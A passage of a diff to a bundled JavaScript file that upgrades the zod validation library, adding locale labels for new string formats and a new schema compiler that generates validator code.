node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ur.js -var error45 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ur.js +var error56 = () => { const Sizable = { string: { unit: "\u062D\u0631\u0648\u0641", verb: "\u06C1\u0648\u0646\u0627" }, file: { unit: "\u0628\u0627\u0626\u0679\u0633", verb: "\u06C1\u0648\u0646\u0627" }, array: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, - set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } + set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, + map: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64437,12 +66982,16 @@ var error45 = () => { duration: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0645\u062F\u062A", ipv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0627\u06CC\u0688\u0631\u06CC\u0633", ipv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0627\u06CC\u0688\u0631\u06CC\u0633", + mac: "\u0627\u06CC\u0645 \u0627\u06D2 \u0633\u06CC \u0627\u06CC\u0688\u0631\u06CC\u0633", cidrv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0631\u06CC\u0646\u062C", cidrv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0631\u06CC\u0646\u062C", base64: "\u0628\u06CC\u0633 64 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", base64url: "\u0628\u06CC\u0633 64 \u06CC\u0648 \u0622\u0631 \u0627\u06CC\u0644 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", json_string: "\u062C\u06D2 \u0627\u06CC\u0633 \u0627\u0648 \u0627\u06CC\u0646 \u0633\u0679\u0631\u0646\u06AF", e164: "\u0627\u06CC 164 \u0646\u0645\u0628\u0631", + credit_card: "\u06A9\u0631\u06CC\u0688\u0679 \u06A9\u0627\u0631\u0688 \u0646\u0645\u0628\u0631", + currency_code: "\u06A9\u0631\u0646\u0633\u06CC \u06A9\u0648\u0688", + iban: "IBAN", jwt: "\u062C\u06D2 \u0688\u0628\u0644\u06CC\u0648 \u0679\u06CC", template_literal: "\u0627\u0646 \u067E\u0679" }; @@ -64512,12 +67061,12 @@ var error45 = () => { }; function ur_default() { return { - localeError: error45() + localeError: error56() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uz.js -var error46 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uz.js +var error57 = () => { const Sizable = { string: { unit: "belgi", verb: "bo\u2018lishi kerak" }, file: { unit: "bayt", verb: "bo\u2018lishi kerak" }, @@ -64556,6 +67105,9 @@ var error46 = () => { base64url: "base64url kodlangan satr", json_string: "JSON satr", e164: "E.164 raqam", + credit_card: "kredit karta raqami", + currency_code: "valyuta kodi", + iban: "IBAN", jwt: "JWT", template_literal: "kirish" }; @@ -64623,17 +67175,18 @@ var error46 = () => { }; function uz_default() { return { - localeError: error46() + localeError: error57() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/vi.js -var error47 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/vi.js +var error58 = () => { const Sizable = { string: { unit: "k\xFD t\u1EF1", verb: "c\xF3" }, file: { unit: "byte", verb: "c\xF3" }, array: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, - set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } + set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, + map: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64659,12 +67212,16 @@ var error47 = () => { duration: "kho\u1EA3ng th\u1EDDi gian ISO", ipv4: "\u0111\u1ECBa ch\u1EC9 IPv4", ipv6: "\u0111\u1ECBa ch\u1EC9 IPv6", + mac: "\u0111\u1ECBa ch\u1EC9 MAC", cidrv4: "d\u1EA3i IPv4", cidrv6: "d\u1EA3i IPv6", base64: "chu\u1ED7i m\xE3 h\xF3a base64", base64url: "chu\u1ED7i m\xE3 h\xF3a base64url", json_string: "chu\u1ED7i JSON", e164: "s\u1ED1 E.164", + credit_card: "s\u1ED1 th\u1EBB t\xEDn d\u1EE5ng", + currency_code: "m\xE3 ti\u1EC1n t\u1EC7", + iban: "IBAN", jwt: "JWT", template_literal: "\u0111\u1EA7u v\xE0o" }; @@ -64732,17 +67289,18 @@ var error47 = () => { }; function vi_default() { return { - localeError: error47() + localeError: error58() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-CN.js -var error48 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-CN.js +var error59 = () => { const Sizable = { string: { unit: "\u5B57\u7B26", verb: "\u5305\u542B" }, file: { unit: "\u5B57\u8282", verb: "\u5305\u542B" }, array: { unit: "\u9879", verb: "\u5305\u542B" }, - set: { unit: "\u9879", verb: "\u5305\u542B" } + set: { unit: "\u9879", verb: "\u5305\u542B" }, + map: { unit: "\u9879", verb: "\u5305\u542B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64768,12 +67326,16 @@ var error48 = () => { duration: "ISO\u65F6\u957F", ipv4: "IPv4\u5730\u5740", ipv6: "IPv6\u5730\u5740", + mac: "MAC\u5730\u5740", cidrv4: "IPv4\u7F51\u6BB5", cidrv6: "IPv6\u7F51\u6BB5", base64: "base64\u7F16\u7801\u5B57\u7B26\u4E32", base64url: "base64url\u7F16\u7801\u5B57\u7B26\u4E32", json_string: "JSON\u5B57\u7B26\u4E32", e164: "E.164\u53F7\u7801", + credit_card: "\u4FE1\u7528\u5361\u53F7", + currency_code: "\u8D27\u5E01\u4EE3\u7801", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F93\u5165" }; @@ -64842,17 +67404,18 @@ var error48 = () => { }; function zh_CN_default() { return { - localeError: error48() + localeError: error59() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-TW.js -var error49 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-TW.js +var error60 = () => { const Sizable = { string: { unit: "\u5B57\u5143", verb: "\u64C1\u6709" }, file: { unit: "\u4F4D\u5143\u7D44", verb: "\u64C1\u6709" }, array: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, - set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } + set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, + map: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64878,12 +67441,16 @@ var error49 = () => { duration: "ISO \u671F\u9593", ipv4: "IPv4 \u4F4D\u5740", ipv6: "IPv6 \u4F4D\u5740", + mac: "MAC \u4F4D\u5740", cidrv4: "IPv4 \u7BC4\u570D", cidrv6: "IPv6 \u7BC4\u570D", base64: "base64 \u7DE8\u78BC\u5B57\u4E32", base64url: "base64url \u7DE8\u78BC\u5B57\u4E32", json_string: "JSON \u5B57\u4E32", e164: "E.164 \u6578\u503C", + credit_card: "\u4FE1\u7528\u5361\u865F", + currency_code: "\u8CA8\u5E63\u4EE3\u78BC", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F38\u5165" }; @@ -64950,17 +67517,18 @@ var error49 = () => { }; function zh_TW_default() { return { - localeError: error49() + localeError: error60() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/yo.js -var error50 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/yo.js +var error61 = () => { const Sizable = { string: { unit: "\xE0mi", verb: "n\xED" }, file: { unit: "bytes", verb: "n\xED" }, array: { unit: "nkan", verb: "n\xED" }, - set: { unit: "nkan", verb: "n\xED" } + set: { unit: "nkan", verb: "n\xED" }, + map: { unit: "nkan", verb: "n\xED" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64986,12 +67554,16 @@ var error50 = () => { duration: "\xE0k\xF3k\xF2 t\xF3 p\xE9 ISO", ipv4: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv4", ipv6: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv6", + mac: "\xE0d\xEDr\u1EB9\u0301s\xEC MAC", cidrv4: "\xE0gb\xE8gb\xE8 IPv4", cidrv6: "\xE0gb\xE8gb\xE8 IPv6", base64: "\u1ECD\u0300r\u1ECD\u0300 t\xED a k\u1ECD\u0301 n\xED base64", base64url: "\u1ECD\u0300r\u1ECD\u0300 base64url", json_string: "\u1ECD\u0300r\u1ECD\u0300 JSON", e164: "n\u1ECD\u0301mb\xE0 E.164", + credit_card: "n\u1ECDmba kaadi gbese", + currency_code: "koodu ow\xF3", + iban: "IBAN", jwt: "JWT", template_literal: "\u1EB9\u0300r\u1ECD \xECb\xE1w\u1ECDl\xE9" }; @@ -65058,14 +67630,14 @@ var error50 = () => { }; function yo_default() { return { - localeError: error50() + localeError: error61() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/registries.js var _a2; -var $output = Symbol("ZodOutput"); -var $input = Symbol("ZodInput"); +var $output = /* @__PURE__ */ Symbol("ZodOutput"); +var $input = /* @__PURE__ */ Symbol("ZodInput"); var $ZodRegistry = class { constructor() { this._map = /* @__PURE__ */ new WeakMap(); @@ -65112,21 +67684,1624 @@ function registry() { (_a2 = globalThis).__zod_globalRegistry ?? (_a2.__zod_globalRegistry = registry()); var globalRegistry = globalThis.__zod_globalRegistry; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/compile.js +var INVALID = Symbol.for("zod.compile.invalid"); +var FALLBACK_FLAG = Symbol.for("zod.compile.fallback"); +var ZodCompileAsyncError = class extends Error { + constructor(message2 = "z.compile does not support async refinements, transforms, or checks") { + super(message2); + this.name = "ZodCompileAsyncError"; + } +}; +var ZodCompileUnsupportedError = class extends Error { + constructor(feature, islandable = true) { + super(`z.compile does not support ${feature}; this schema must use the runtime parser`); + this.name = "ZodCompileUnsupportedError"; + this.islandable = islandable; + } +}; +function compileValidator(schema, parser) { + try { + return compileFn(schema, { assertOnly: true }); + } catch { + return parser; + } +} +function compile(schema, options) { + try { + const parser = compileFn(schema); + const clone2 = withParser(schema, parser); + clone2._zod.bag.validator = compileValidator(schema, parser); + return clone2; + } catch (err) { + if (options?.strict) + throw err; + return schema; + } +} +function withParser(schema, parser) { + if (isRecursiveSchema(schema)) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const clone2 = clone(schema); + const liveRun = schema._zod.run; + const originalRun = liveRun.__originalRun ?? liveRun; + const wrapped = (payload, ctx) => { + if (ctx?.async || ctx?.direction === "backward" || ctx?.skipChecks || ctx?.[FALLBACK_FLAG]) { + return originalRun(payload, ctx); + } + if (ctx && isBackEdge(ctx, payload.value)) { + return originalRun(payload, ctx); + } + const out = parser(payload.value); + if (out !== INVALID) { + payload.value = out; + return payload; + } + if (ctx) + ctx[FALLBACK_FLAG] = true; + return originalRun(payload, ctx); + }; + wrapped.__originalRun = originalRun; + clone2._zod.bag.fallbackRun = originalRun; + clone2._zod.bag.validator = parser; + clone2._zod.run = wrapped; + if (!liveRun.__originalRun) + installCompiledUserMethods(clone2, schema, parser); + return clone2; +} +function installCompiledUserMethods(target, source, parser) { + const targetAny = target; + const sourceAny = source; + if (typeof sourceAny.safeParse === "function") { + const originalSafeParse = sourceAny.safeParse; + targetAny.safeParse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return { success: true, data: out }; + } + return originalSafeParse(data, params); + }; + } + if (typeof sourceAny.parse === "function") { + const originalParse = sourceAny.parse; + targetAny.parse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return out; + } + return originalParse(data, params); + }; + } +} +function compileFn(schema, options) { + let recursive2 = true; + try { + recursive2 = isRecursiveSchema(schema); + } catch { + } + if (recursive2) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const ctx = { + constants: /* @__PURE__ */ new Map(), + constantCounter: 0, + varCounter: 0, + definite: true + }; + const doc = new Doc(["input"]); + const outputAccessor = generateCheck(doc, ctx, schema, "input", !options?.assertOnly); + doc.write(outputAccessor === null ? `return true;` : `return ${outputAccessor};`); + const constantNames = ["INVALID", ...ctx.constants.keys()]; + const constantValues = [INVALID, ...ctx.constants.values()]; + const code = doc.content.join("\n"); + const fullCode = options?.debug ? constantNames.length > 0 ? `// Constants: ${constantNames.join(", ")} +${code}` : code : ""; + const F = Function; + const factoryCode = `return (input) => { +${code} +}`; + let fn; + try { + const factory = new F(...constantNames, factoryCode); + fn = factory(...constantValues); + } catch (err) { + throw new ZodCompileUnsupportedError(`this schema (generated code failed to evaluate: ${err.message})`); + } + if (options?.debug) { + fn.code = fullCode; + } + fn.definite = ctx.definite; + return fn; +} +function addConstant(ctx, value) { + for (const [name2, v] of ctx.constants) { + if (v === value) + return name2; + } + const name = `c${ctx.constantCounter++}`; + ctx.constants.set(name, value); + return name; +} +function addUserConstant(ctx, fn) { + ctx.definite = false; + return addConstant(ctx, fn); +} +function newVar(ctx) { + return `v${ctx.varCounter++}`; +} +function runtimeRun(schema, value) { + const result = schema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + return r.issues.length === 0 ? r.value : INVALID; +} +function compileChild(doc, ctx, schema, accessor, needsValue = true) { + const contentLen = doc.content.length; + const constantCount = ctx.constants.size; + const constantCounter = ctx.constantCounter; + const varCounter = ctx.varCounter; + try { + return generateCheck(doc, ctx, schema, accessor, needsValue); + } catch (err) { + if (!(err instanceof ZodCompileUnsupportedError) || !err.islandable) + throw err; + doc.content.length = contentLen; + if (ctx.constants.size > constantCount) { + const trailing = Array.from(ctx.constants.keys()).slice(constantCount); + for (const k of trailing) + ctx.constants.delete(k); + } + ctx.constantCounter = constantCounter; + ctx.varCounter = varCounter; + return emitRuntimeIsland(doc, ctx, schema, accessor); + } +} +function emitRuntimeIsland(doc, ctx, schema, accessor) { + ctx.definite = false; + const schemaConst = addConstant(ctx, schema); + const runConst = addConstant(ctx, runtimeRun); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${runConst}(${schemaConst}, ${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; +} +var WHEN_DEFAULTED_CHECKS = /* @__PURE__ */ new Set([ + "max_size", + "min_size", + "size_equals", + "max_length", + "min_length", + "length_equals" +]); +function generateChecks(doc, ctx, schema, accessor) { + const schemaChecks = schema._zod.def.checks; + if (!schemaChecks || schemaChecks.length === 0) + return accessor; + let currentAccessor = accessor; + for (const check3 of schemaChecks) { + const def = check3._zod.def; + if (def.when && !WHEN_DEFAULTED_CHECKS.has(def.check)) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + switch (def.check) { + case "greater_than": + generateGreaterThanCheck(doc, ctx, def, currentAccessor); + break; + case "less_than": + generateLessThanCheck(doc, ctx, def, currentAccessor); + break; + case "multiple_of": + generateMultipleOfCheck(doc, ctx, def, currentAccessor); + break; + case "number_format": + generateNumberFormatCheck(doc, def, currentAccessor); + break; + case "min_length": { + const min = numericOperand(def.minimum, "min_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${min} && ${currentAccessor}.length < ${def.minimum * 2}`); + doc.write(`if (${len} < ${min}) return INVALID;`); + break; + } + case "max_length": { + const max = numericOperand(def.maximum, "max_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length > ${max}`); + doc.write(`if (${len} > ${max}) return INVALID;`); + break; + } + case "length_equals": { + const exact = numericOperand(def.length, "length_equals"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${exact} && ${currentAccessor}.length <= ${def.length * 2}`); + doc.write(`if (${len} !== ${exact}) return INVALID;`); + break; + } + case "min_size": + doc.write(`if (${currentAccessor}.size < ${numericOperand(def.minimum, "min_size")}) return INVALID;`); + break; + case "max_size": + doc.write(`if (${currentAccessor}.size > ${numericOperand(def.maximum, "max_size")}) return INVALID;`); + break; + case "size_equals": + doc.write(`if (${currentAccessor}.size !== ${numericOperand(def.size, "size_equals")}) return INVALID;`); + break; + case "string_format": + currentAccessor = generateStringFormatCheck(doc, ctx, def, currentAccessor); + break; + case "custom": + currentAccessor = generateCustomRefineCheck(doc, ctx, check3, currentAccessor); + break; + case "bigint_format": + generateBigIntFormatCheck(doc, def, currentAccessor); + break; + case "mime_type": + generateMimeTypeCheck(doc, ctx, def, currentAccessor); + break; + case "property": + generatePropertyCheck(doc, ctx, def, currentAccessor); + break; + case "properties": + generatePropertiesChecks(doc, ctx, def, currentAccessor); + break; + case "overwrite": { + const newAccessor = newVar(ctx); + generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor); + currentAccessor = newAccessor; + break; + } + default: { + throw new ZodCompileUnsupportedError(`check type ${def.check}`); + } + } + } + return currentAccessor; +} +function codePointLengthVar(doc, ctx, accessor, inDoubt) { + const cpLen = addConstant(ctx, codePointLength); + const v = newVar(ctx); + doc.write(`const ${v} = typeof ${accessor} === "string" && ${inDoubt} ? ${cpLen}(${accessor}) : ${accessor}.length;`); + return v; +} +function numericOperand(value, label) { + if (typeof value !== "number" || !Number.isFinite(value)) { + throw new ZodCompileUnsupportedError(`${label} bound of type ${typeof value}`); + } + return `${value}`; +} +function comparisonOperand(ctx, value) { + if (typeof value === "bigint") + return `${value}n`; + if (typeof value === "number") { + if (Number.isNaN(value)) + throw new ZodCompileUnsupportedError("comparison check with NaN bound"); + return `${value}`; + } + if (value instanceof Date) { + if (Number.isNaN(value.getTime())) { + throw new ZodCompileUnsupportedError("comparison check with Invalid Date bound"); + } + return addConstant(ctx, value); + } + throw new ZodCompileUnsupportedError(`comparison check bound of type ${typeof value}`); +} +function generateGreaterThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? "<" : "<="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateLessThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? ">" : ">="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateMultipleOfCheck(doc, ctx, def, accessor) { + if (typeof def.value === "bigint") { + if (def.value === BigInt(0)) + throw new ZodCompileUnsupportedError("multiple_of check with a zero divisor"); + doc.write(`if (${accessor} % ${def.value}n !== 0n) return INVALID;`); + } else { + const remainder = addConstant(ctx, floatSafeRemainder); + doc.write(`if (${remainder}(${accessor}, ${numericOperand(def.value, "multiple_of")}) !== 0) return INVALID;`); + } +} +function generateNumberFormatCheck(doc, def, accessor) { + const format = def.format; + switch (format) { + case "safeint": + doc.write(`if (!Number.isSafeInteger(${accessor})) return INVALID;`); + break; + case "int32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < -2147483648 || ${accessor} > 2147483647) return INVALID;`); + break; + case "uint32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < 0 || ${accessor} > 4294967295) return INVALID;`); + break; + case "float32": + doc.write(`if (!Number.isFinite(${accessor}) || ${accessor} < -3.4028234663852886e38 || ${accessor} > 3.4028234663852886e38) return INVALID;`); + break; + case "float64": + doc.write(`if (!Number.isFinite(${accessor})) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`number format ${format}`); + } + } +} +function generateBigIntFormatCheck(doc, def, accessor) { + const format = def.format; + if (!format) + return; + switch (format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`bigint format ${format}`); + } + } +} +function generateMimeTypeCheck(doc, ctx, def, accessor) { + const mimeTypes = def.mime; + if (mimeTypes && mimeTypes.length > 0) { + const mimeSet = addConstant(ctx, new Set(mimeTypes)); + doc.write(`if (!${mimeSet}.has(${accessor}.type)) return INVALID;`); + } +} +function generatePropertiesChecks(doc, ctx, def, accessor) { + if (def.when) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + doc.write(`if (${accessor} == null) return INVALID;`); + const shape = def.shape; + for (const key of Reflect.ownKeys(shape)) { + const keyExpr = typeof key === "symbol" ? addConstant(ctx, key) : esc(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${keyExpr}];`); + compileChild(doc, ctx, shape[key], inputVar, false); + } +} +function generatePropertyCheck(doc, ctx, def, accessor) { + const propAccessor = `${accessor}[${JSON.stringify(def.property)}]`; + generateCheck(doc, ctx, def.schema, propAccessor); +} +function generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor) { + const tx = check3._zod.def.tx; + if (!tx) { + throw new ZodCompileUnsupportedError("overwrite check without a transform function"); + } + if (isAsyncFunction(tx)) { + throw new ZodCompileAsyncError("z.compile: async overwrite transforms are not supported"); + } + const txConst = addConstant(ctx, tx); + doc.write(`const ${newAccessor} = ${txConst}(${currentAccessor});`); +} +function throwAsync() { + throw new $ZodAsyncError(); +} +function pushIssue(issue2) { + this.issues.push(issue2); +} +function generateCustomRefineCheck(doc, ctx, check3, accessor) { + const def = check3._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async .refine() predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + return accessor; + } + if (check3._zod.check) { + if (isAsyncFunction(check3._zod.check)) { + throw new ZodCompileAsyncError("z.compile: async .superRefine() / check functions are not supported"); + } + const checkFn = check3._zod.check; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = checkFn(fakePayload); + if (result instanceof Promise) + throwAsync(); + return fakePayload.issues.length === 0 ? fakePayload.value : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; + } + throw new ZodCompileUnsupportedError("custom check without a predicate or check function"); +} +var PATTERN_IS_COMPLETE = /* @__PURE__ */ new Set([ + "cidrv4", + "cuid", + "cuid2", + "date", + "datetime", + "duration", + "e164", + "email", + "emoji", + "ends_with", + "guid", + "includes", + "ipv4", + "ksuid", + "lowercase", + "mac", + "nanoid", + "regex", + "starts_with", + "time", + "ulid", + "uppercase", + "uuid", + "xid" +]); +function generateStringFormatCheck(doc, ctx, def, accessor, needsValue = true) { + const fmt = def.format; + if (fmt === "base64") { + const validator = addConstant(ctx, isValidBase64); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "base64url") { + const validator = addConstant(ctx, isValidBase64URL); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "jwt") { + const validator = addConstant(ctx, isValidJWT); + const alg = addConstant(ctx, def.alg ?? null); + doc.write(`if (!${validator}(${accessor}, ${alg})) return INVALID;`); + return accessor; + } + if (fmt === "ipv6") { + const validator = addConstant(ctx, isValidIPv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "cidrv6") { + const validator = addConstant(ctx, isValidCIDRv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "credit_card") { + const validator = addConstant(ctx, isValidCreditCard); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "iban") { + const validator = addConstant(ctx, isValidIBAN); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + const formatDef = def; + if (fmt === "url" || fmt === "httpurl" || formatDef.normalize || formatDef.hostname !== void 0 || formatDef.protocol !== void 0) { + const parseConst = addConstant(ctx, validateURL); + const defConst = addConstant(ctx, def); + const trimVar = newVar(ctx); + const urlVar = newVar(ctx); + doc.write(`const ${trimVar} = ${accessor}.trim();`); + doc.write(`const ${urlVar} = ${parseConst}(${trimVar}, ${defConst});`); + doc.write(`if (typeof ${urlVar} === "number") return INVALID;`); + if (formatDef.hostname !== void 0) { + const hostnameConst = addConstant(ctx, urlHostnameOk); + doc.write(`if (!${hostnameConst}(${urlVar}, ${defConst}.hostname)) return INVALID;`); + } + if (formatDef.protocol !== void 0) { + const protocolConst = addConstant(ctx, urlProtocolOk); + doc.write(`if (!${protocolConst}(${urlVar}, ${defConst}.protocol)) return INVALID;`); + } + if (!needsValue) + return null; + const outputVar = newVar(ctx); + const outputExpr = formatDef.normalize ? `${urlVar}.href` : `${addConstant(ctx, stripTabAndNewline)}(${trimVar})`; + doc.write(`const ${outputVar} = ${outputExpr};`); + return outputVar; + } + const customFn = def.fn; + if (customFn) { + if (isAsyncFunction(customFn)) + throw new ZodCompileUnsupportedError(`async string format ${fmt}`); + const fnConst = addConstant(ctx, customFn); + doc.write(`if (!${fnConst}(${accessor})) return INVALID;`); + return accessor; + } + if (PATTERN_IS_COMPLETE.has(fmt) && def.pattern) { + const patternConst = addConstant(ctx, def.pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + return accessor; + } + const format = def.format; + switch (format) { + case "regex": + throw new ZodCompileUnsupportedError("regex format without a pattern"); + case "lowercase": + doc.write(`if (${accessor} !== ${accessor}.toLowerCase()) return INVALID;`); + break; + case "uppercase": + doc.write(`if (${accessor} !== ${accessor}.toUpperCase()) return INVALID;`); + break; + case "includes": + doc.write(`if (!${accessor}.includes(${esc(def.includes)})) return INVALID;`); + break; + case "starts_with": { + const prefix = def.prefix; + doc.write(`if (${accessor}.slice(0, ${prefix.length}) !== ${esc(prefix)}) return INVALID;`); + break; + } + case "ends_with": { + const suffix = def.suffix; + doc.write(`if (${accessor}.slice(-${suffix.length}) !== ${esc(suffix)}) return INVALID;`); + break; + } + default: { + throw new ZodCompileUnsupportedError(`string format ${format}`); + } + } + return accessor; +} +function generateCheck(doc, ctx, schema, accessor, needsValue = true) { + const def = schema._zod.def; + const type = def.type; + if (def.coerce) { + throw new ZodCompileUnsupportedError(`coercion (z.coerce.${type}())`); + } + const buildsValue = needsValue || !!def.checks?.length; + let typeAccessor; + switch (type) { + case "string": + typeAccessor = generateStringCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "number": + typeAccessor = generateNumberCheck(doc, schema, accessor); + break; + case "boolean": + typeAccessor = generateBooleanCheck(doc, accessor); + break; + case "bigint": + typeAccessor = generateBigIntCheck(doc, schema, accessor); + break; + case "symbol": + typeAccessor = generateSymbolCheck(doc, accessor); + break; + case "undefined": + typeAccessor = generateUndefinedCheck(doc, accessor); + break; + case "null": + typeAccessor = generateNullCheck(doc, accessor); + break; + case "any": + case "unknown": + typeAccessor = accessor; + break; + case "never": + doc.write("return INVALID;"); + typeAccessor = accessor; + break; + case "void": + typeAccessor = generateVoidCheck(doc, accessor); + break; + case "nan": + typeAccessor = generateNaNCheck(doc, accessor); + break; + case "date": + typeAccessor = generateDateCheck(doc, accessor); + break; + case "object": + typeAccessor = generateObjectCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "optional": + typeAccessor = generateOptionalCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "nullable": + typeAccessor = generateNullableCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "array": + typeAccessor = generateArrayCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "literal": + typeAccessor = generateLiteralCheck(doc, ctx, schema, accessor); + break; + case "enum": + typeAccessor = generateEnumCheck(doc, ctx, schema, accessor); + break; + case "readonly": { + const innerOut = generateWrapperCheck(doc, ctx, schema, accessor); + const frozenVar = newVar(ctx); + doc.write(`const ${frozenVar} = Object.freeze(${innerOut});`); + typeAccessor = frozenVar; + break; + } + case "success": + generateWrapperCheck(doc, ctx, schema, accessor); + typeAccessor = "true"; + break; + case "default": + case "prefault": + typeAccessor = generateDefaultCheck(doc, ctx, schema, accessor); + break; + case "nonoptional": + typeAccessor = generateNonOptionalCheck(doc, ctx, schema, accessor); + break; + case "tuple": + typeAccessor = generateTupleCheck(doc, ctx, schema, accessor); + break; + case "union": + typeAccessor = generateUnionCheck(doc, ctx, schema, accessor); + break; + case "intersection": + typeAccessor = generateIntersectionCheck(doc, ctx, schema, accessor); + break; + case "record": + typeAccessor = generateRecordCheck(doc, ctx, schema, accessor); + break; + case "map": + typeAccessor = generateMapCheck(doc, ctx, schema, accessor); + break; + case "set": + typeAccessor = generateSetCheck(doc, ctx, schema, accessor); + break; + case "file": + typeAccessor = generateFileCheck(doc, accessor); + break; + case "template_literal": + typeAccessor = generateTemplateLiteralCheck(doc, ctx, schema, accessor); + break; + case "lazy": + typeAccessor = generateLazyCheck(doc, ctx, schema, accessor); + break; + case "pipe": + typeAccessor = generatePipeCheck(doc, ctx, schema, accessor); + break; + case "custom": + typeAccessor = generateCustomCheck(doc, ctx, schema, accessor); + break; + case "transform": 